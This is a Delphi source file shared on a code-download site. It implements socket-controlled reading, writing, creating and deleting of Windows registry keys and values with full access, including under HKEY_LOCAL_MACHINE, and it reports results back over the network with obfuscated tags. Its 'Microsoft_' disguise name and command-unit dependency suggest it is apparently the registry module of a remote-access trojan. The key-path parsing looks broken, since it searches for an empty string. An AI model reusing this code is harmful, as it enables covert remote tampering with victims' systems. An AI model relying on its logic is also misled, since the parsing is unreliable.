Microsoft_URegister.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:14k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit Microsoft_URegister;
  2. interface
  3. uses Winsock, windows,Microsoft_Ucmd,Utils;
  4. type
  5.     TRegKeyInfo = record
  6.        NumSubKeys: Integer;
  7.        MaxSubKeyLen: Integer;
  8.        NumValues: Integer;
  9.        MaxValueLen: Integer;
  10.        MaxDataLen: Integer;
  11.        FileTime: TFileTime;
  12.     end;
  13.     TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary);
  14.     TRegDataInfo = record
  15.        RegData: TRegDataType;
  16.        DataSize: Integer;
  17.     end;
  18. procedure ContenidoClave(socket : Tsocket; const Clave, SubClave: String );
  19. procedure BorrarClave(socket : Tsocket;  const Clave, SubClave: String );
  20. procedure BorrarValor(socket : Tsocket;  const Clave, Valor: String);
  21. procedure CrearClave(socket : Tsocket;  const Clave, NuevaClave: String);
  22. procedure ModificarValor(socket : Tsocket;  Clave, Dato: String );
  23. procedure ListadoDeSubClaves( TKEY : HKEY; var cuentas : array of string; var len : Byte );
  24. function Dame_Valor( const Key: HKEY; const clave, valor: String ) : String;
  25. function ReadBinaryData(Key: HKey; const Name: string; var Buffer; BufSize: Integer): Integer;
  26. function GetDataSize(key: HKey; const ValueName: string): Integer;
  27. implementation
  28. var TKEY: HKEY;
  29. RegSocket : Tsocket;
  30. function Dame_Valor( const Key: HKEY; const clave, valor: String ) : String;
  31. var handle : HKEY;
  32.     Tipo_Dato, Len_Dato : Cardinal;
  33.     Buffer : String;
  34. begin
  35.     RegOpenKeyEx( Key,
  36.                   PChar( Clave ),
  37.                   0,
  38.                   KEY_ALL_ACCESS,
  39.                   handle );
  40.     Tipo_Dato := REG_NONE;
  41.     RegQueryValueEx( Handle,
  42.                      PChar( Valor ),
  43.                      nil,
  44.                      @Tipo_Dato,
  45.                      nil,
  46.                      @Len_Dato );
  47.     SetString(Buffer, nil, Len_Dato);
  48.     RegQueryValueEx( Handle,
  49.                      PChar( Valor ),
  50.                      nil,
  51.                      @Tipo_Dato,
  52.                      PByte(PChar(Buffer)),
  53.                      @Len_Dato );
  54.     Result := PChar(Buffer);
  55.     RegCloseKey( handle );
  56.     Result := PChar(Buffer);
  57. end;
  58. ////////////////////////////////////////////////////////////////////////////////
  59. function DataTypeToRegData(Value: Integer): TRegDataType;
  60. begin
  61.   if Value = REG_SZ then Result := rdString
  62.   else if Value = REG_EXPAND_SZ then Result := rdExpandString
  63.   else if Value = REG_DWORD then Result := rdInteger
  64.   else if Value = REG_BINARY then Result := rdBinary
  65.   else Result := rdUnknown;
  66. end;
  67. function GetDataInfo(Key: HKey;const ValueName: string; var Value: TRegDataInfo): Boolean;
  68. var
  69.   DataType: Integer;
  70. begin
  71.   FillChar(Value, SizeOf(TRegDataInfo), 0);
  72.   Result := RegQueryValueEx(Key, PChar(ValueName), nil, @DataType, nil,
  73.     @Value.DataSize) = ERROR_SUCCESS;
  74.   Value.RegData := DataTypeToRegData(DataType);
  75. end;
  76. function GetDataSize(key: HKey; const ValueName: string): Integer;
  77. var
  78.   Info: TRegDataInfo;
  79. begin
  80.   if GetDataInfo(key, ValueName, Info) then
  81.     Result := Info.DataSize else
  82.     Result := -1;
  83. end;
  84. function GetData(Key: HKey; const Name: string; Buffer: Pointer;
  85.   BufSize: Integer; var RegData: TRegDataType): Integer;
  86. var
  87.   DataType: Integer;
  88. begin
  89.   DataType := REG_NONE;
  90.   if RegQueryValueEx(KEY, PChar(Name), nil, @DataType, PByte(Buffer),
  91.     @BufSize) <> ERROR_SUCCESS then
  92.     exit;
  93.   Result := BufSize;
  94.   RegData := DataTypeToRegData(DataType);
  95. end;
  96. function ReadBinaryData(Key: HKey; const Name: string; var Buffer; BufSize: Integer): Integer;
  97. var
  98.   RegData: TRegDataType;
  99.   Info: TRegDataInfo;
  100. begin
  101.   if GetDataInfo(Key, Name, Info) then
  102.   begin
  103.     Result := Info.DataSize;
  104.     RegData := Info.RegData;
  105.     if ((RegData = rdBinary) or (RegData = rdUnknown)) and (Result <= BufSize) then
  106.       GetData(Key, Name, @Buffer, Result, RegData)
  107.     else ;
  108.   end else
  109.     Result := 0;
  110. end;
  111. ////////////////////////////////////////////////////////////////////////////////
  112. procedure AbrirClave(const Clave, SubClave: String);
  113. var RKEY   : DWORD;
  114. begin
  115.      RKEY := DWORD($80000001);
  116.      if Clave = 'HKEY_CLASSES_ROOT' then
  117.         RKEY := DWORD($80000000);
  118.      if Clave = 'HKEY_CURRENT_USER' then
  119.         RKEY := DWORD($80000001);
  120.      if Clave = 'HKEY_LOCAL_MACHINE' then
  121.         RKEY := DWORD($80000002);
  122.      if Clave = 'HKEY_USERS' then
  123.         RKEY := DWORD($80000003);
  124.      if Clave = 'HKEY_PERFORMANCE_DATA' then
  125.         RKEY := DWORD($80000004);
  126.      if Clave = 'HKEY_CURRENT_CONFIG' then
  127.         RKEY := DWORD($80000005);
  128.      if Clave = 'HKEY_DYN_DATA' then
  129.         RKEY := DWORD($80000006);
  130.      if RegOpenKeyEx (RKEY,
  131.                       PChar( SubClave ),
  132.                       0,
  133.                       KEY_ALL_ACCESS,
  134.                       TKEY) <> ERROR_SUCCESS then
  135.         TKEY := 0;
  136. end;
  137. //Crea o modifica un valor
  138. procedure ModificarValor(socket : Tsocket;  Clave, Dato: String );
  139. var Tipo, Valor, Contenido : string;
  140.     TmpInt, i : Integer;
  141.     Error : Bool;
  142. begin
  143. Error := FALSE;
  144.       i := Pos( '', Clave );
  145.       AbrirClave( Copy( Clave, 1, i - 1 ),
  146.                   Copy( Clave, i + 1, Length( Clave ) ) );
  147.       if TKEY <> 0 then
  148.       begin
  149.            Tipo  := Copy( Dato, 1, 1 );
  150.            Delete( Dato, 1 , 1 );
  151.            Valor := split(Dato,'^',1);
  152.            Contenido := split(Dato,'^',0);
  153.            if Tipo = 'S' then//String
  154.               Error := RegSetValueEx( TKEY, PChar( Valor ),
  155.                                       0, REG_SZ, PChar( Contenido ),
  156.                                       Length( Contenido ) + 1 ) <> ERROR_SUCCESS;
  157.            if Tipo = 'W' then
  158.            begin//DWORD
  159.                  try TmpInt := StrToIntDef( Contenido, 0 );  except end;
  160.                  Error := RegSetValueEx( TKEY,
  161.                                          PChar( Valor ), 0, REG_DWORD,
  162.                                          @TmpInt, SizeOf( TmpInt ) ) <> ERROR_SUCCESS;
  163.            end;
  164.            if Tipo = 'B' then
  165.            begin//Binary
  166.                 TmpInt := StrToIntDef( Contenido, 0 );
  167.                 Error  := RegSetValueEx( TKEY,
  168.                                          PChar( Valor ), 0,
  169.                                          REG_BINARY, PChar( Contenido ),
  170.                                          Length( Contenido ) ) <> ERROR_SUCCESS;
  171.            end;
  172.            RegCloseKey( TKEY );
  173.       end;
  174.       if Error then
  175.         SendData (socket, '|Error To Create Value(' + Valor + '=' + Contenido + ')' )
  176.       else
  177.       SendData (socket, '|Value Created(' + Valor + '=' + Contenido + ')' )
  178. end;
  179. procedure BorrarValor(socket : Tsocket; const Clave, Valor: String );
  180. var i : Integer;
  181. begin
  182.      i := Pos( '', Clave );
  183.      AbrirClave( Copy( Clave, 1, i - 1 ),
  184.                  Copy( Clave, i + 1, Length( Clave ) ) );
  185.      if TKEY <> 0 then
  186.      begin
  187.         if RegDeleteValue(TKEY, PChar( Valor ) ) = ERROR_SUCCESS then
  188.            SendData (socket, '|Value Deleted(' + clave + valor + ')' )
  189.         else
  190.             SendData (socket, '|Error to Delete(' + clave+ valor + ')' );
  191.         RegCloseKey( TKEY );
  192.      end;
  193. end;
  194. procedure CrearClave(socket : Tsocket;  const Clave, NuevaClave: String );
  195. var Aux : HKEY;
  196.     i : Integer;
  197. begin
  198.      i := Pos( '', Clave );
  199.      AbrirClave( Copy( Clave, 1, i - 1 ),
  200.                  Copy( Clave, i + 1, Length( Clave ) ) );
  201.      if TKEY <> 0 then
  202.      begin
  203.           if RegCreateKey( TKEY, PChar( NuevaClave ), Aux ) = ERROR_SUCCESS then
  204.             SendData (socket,'|Key Created(' + clave + '' + nuevaclave + ')' )
  205.           else
  206.           SendData (socket,'|Error Create Key(' + clave + nuevaclave + ')' );
  207.           RegCloseKey( TKEY );
  208.      end;
  209. end;
  210. procedure BorrarClave(socket : Tsocket;  const Clave, SubClave: String );
  211. var i : Integer;
  212. begin
  213.      i := Pos( '', Clave );
  214.      AbrirClave( Copy( Clave, 1, i - 1 ),
  215.                  Copy( Clave, i + 1, Length( Clave ) ) );
  216.      if TKEY <> 0 then
  217.      begin
  218.         if RegDeleteKey(TKEY, PChar( SubClave ) ) = ERROR_SUCCESS then
  219.         Senddata(socket,pchar('|Key Deleted(' + clave + subclave + ')' ) )
  220.         else
  221.        senddata(socket,pchar('|Error to Delete(' + clave + subclave + ')' ));
  222.         RegCloseKey( TKEY );
  223.      end;
  224. end;
  225. //Toma el contenido de una clave
  226. function GetValue(NValue : string; RetTipo : Byte; RgKey : HKEY) : string;
  227. var  Buffer, TmpBuff: string;
  228.      BuffInt, i     : integer;
  229.      DataType, DataSize : Cardinal;
  230. begin
  231.      try
  232.      if RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, nil, @DataSize) = ERROR_SUCCESS then
  233.      begin
  234.           if ( DataType =  REG_SZ ) or ( DataType = REG_EXPAND_SZ ) then
  235.           begin
  236.                SetString(Buffer, nil, DataSize);
  237.                RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize);
  238.                Result := '<S>' + PChar(Buffer);
  239.           end;
  240.           if DataType = REG_BINARY then
  241.           begin
  242.                SetString(Buffer, nil, DataSize);
  243.                RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize );
  244.                for i := 1 to Length(Buffer) do
  245.                    TmpBuff:= TmpBuff + SigFrmToStr(Ord(Buffer[I]), '%02X');
  246.                Result := '<B>' + TmpBuff;
  247.           end;
  248.           if DataType = REG_DWORD then
  249.           begin
  250.                RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, @BuffInt, @DataSize);
  251.                Result := '<D>' + '0x' + UnSigFrmToStr(BuffInt, '%08X');
  252.           end;
  253.           if DataType = REG_NONE then
  254.           begin
  255.                 SetString(Buffer, nil, DataSize);
  256.                 RegQueryValueEx(RgKey, PChar(NValue), nil, @DataType, PByte(PChar(Buffer)), @DataSize);
  257.                 Result := '<N>' + PChar(Buffer);
  258.           end;
  259.      end;
  260.      if Length( Result ) > 130 then
  261.         Result := Copy( Result, 1, 130 );
  262.      except end;
  263. end;
  264. //Devuelve un listado de los valores contenidos en la clave
  265. procedure ListadoDeSubClaves( TKEY : HKEY; var cuentas : array of string; var len : Byte );
  266. var info    : TRegKeyInfo;
  267.      i    : integer;
  268.     bSize   : DWORD;
  269.     tBuff   : string;
  270. begin
  271.      if RegQueryInfoKey(TKEY, nil, nil, nil,
  272.                         @info.NumSubKeys,
  273.                         @info.MaxSubKeyLen,
  274.                         nil,
  275.                         @info.NumValues,
  276.                         @info.MaxValueLen,
  277.                         @info.MaxDataLen,
  278.                         nil,
  279.                         @info.FileTime) = ERROR_SUCCESS
  280.      then
  281.      begin
  282.           SetString(tBuff, nil, Info.MaxValueLen + 1);
  283.           //Comienza a buscar el listado de claves o valores o ambos.
  284.           for i := 0 to info.NumSubKeys - 1 do
  285.           begin
  286.                bSize := Info.MaxSubKeyLen + 1;
  287.                RegEnumKeyEx( TKEY,
  288.                              DWORD( i ),
  289.                              PChar( tBuff ),
  290.                              bSize, nil, nil, nil, nil );
  291.                Cuentas[ i ] := PChar( tBuff );
  292.                
  293.           end;
  294.           Len := info.NumSubKeys - 1;
  295.      end;
  296. end;
  297. //Devuelve un listado de los valores contenidos en la clave
  298. procedure ValoresClave( RegTypeRet : Byte;  socket : Tsocket);
  299. var  info : TRegKeyInfo;
  300.      i : integer;
  301.      bSize : DWORD;
  302.      tBuff, tmp: string;
  303.      cant : integer;
  304.      data : string;
  305.      datacount : integer;
  306.      dataValues : string;
  307.        dataValuescount : integer;
  308. begin
  309.      Cant := 0;
  310.      try
  311.      RegQueryInfoKey(TKEY, nil, nil, nil,
  312.                      @info.NumSubKeys,
  313.                      @info.MaxSubKeyLen, nil,
  314.                      @info.NumValues,
  315.                      @info.MaxValueLen,
  316.                      @info.MaxDataLen, nil,
  317.                      @info.FileTime);
  318.      if RegTypeRet = 1 then
  319.      begin
  320.           Cant := info.NumValues;
  321.           SetString(tBuff, nil, Info.MaxValueLen + 1);
  322.      end;
  323.      if RegTypeRet = 0 then
  324.      begin
  325.           Cant := info.NumSubKeys;
  326.           SetString(tBuff, nil, Info.MaxSubKeyLen + 1);
  327.      end;
  328.      //Comienza a buscar el listado de claves o valores o ambos.
  329.      for i := 0 to Cant - 1 do
  330.      begin
  331.           if RegTypeRet = 0 then
  332.           begin
  333.                bSize := Info.MaxSubKeyLen + 1;
  334.                if RegEnumKeyEx(TKEY, DWORD( i ), PChar( tBuff ), bSize, nil, nil, nil, nil) = ERROR_SUCCESS then
  335.                       datacount:=datacount + 1;
  336.                           data:=data +  PChar( tBuff ) + ''  ;
  337.                           if datacount=30 then begin
  338.                             SendData (socket,'<rEgkEy>' + Data  );
  339.                                 Data:='';
  340.                            datacount:=0;
  341.                           end;
  342.           end;
  343.           if RegTypeRet = 1 then
  344.           begin
  345.                bSize := Info.MaxValueLen + 1;
  346.                if RegEnumValue(TKEY, DWORD( i ), PChar( tBuff ), bSize, nil, nil, nil, nil) = ERROR_SUCCESS then
  347.                begin
  348.                  dataValues:= dataValues  + PChar( tBuff ) + '^' +   GetValue( tbuff, 1, TKEY) + '^' + '*'  ;
  349.               // SendData (Socket,'<rEgvAlUE>' + PChar( tBuff ) + '^' +   GetValue( tbuff, 1, TKEY) );
  350.                end;
  351.           end;
  352.     end;
  353.     if data<>'' then begin
  354.        SendData (socket,'<rEgkEy>' + Data );
  355.        end;
  356.              if    dataValues   <> '' then begin
  357.        SendData (Socket,'<rEgvAlUE>' + dataValues  );
  358.              end;
  359.     except end;
  360. end;
  361. procedure ContenidoClave( socket: Tsocket; const Clave, SubClave: String );
  362. begin
  363.      AbrirClave( Clave, SubClave );
  364.      if TKEY <> 0 then
  365.      begin
  366.           ValoresClave( 1, socket );
  367.           ValoresClave ( 0,socket );
  368.          
  369.           RegCloseKey( TKEY );
  370.      end;
  371.     // SendData (socket,'<rEgEnd>');
  372. end;
  373. end.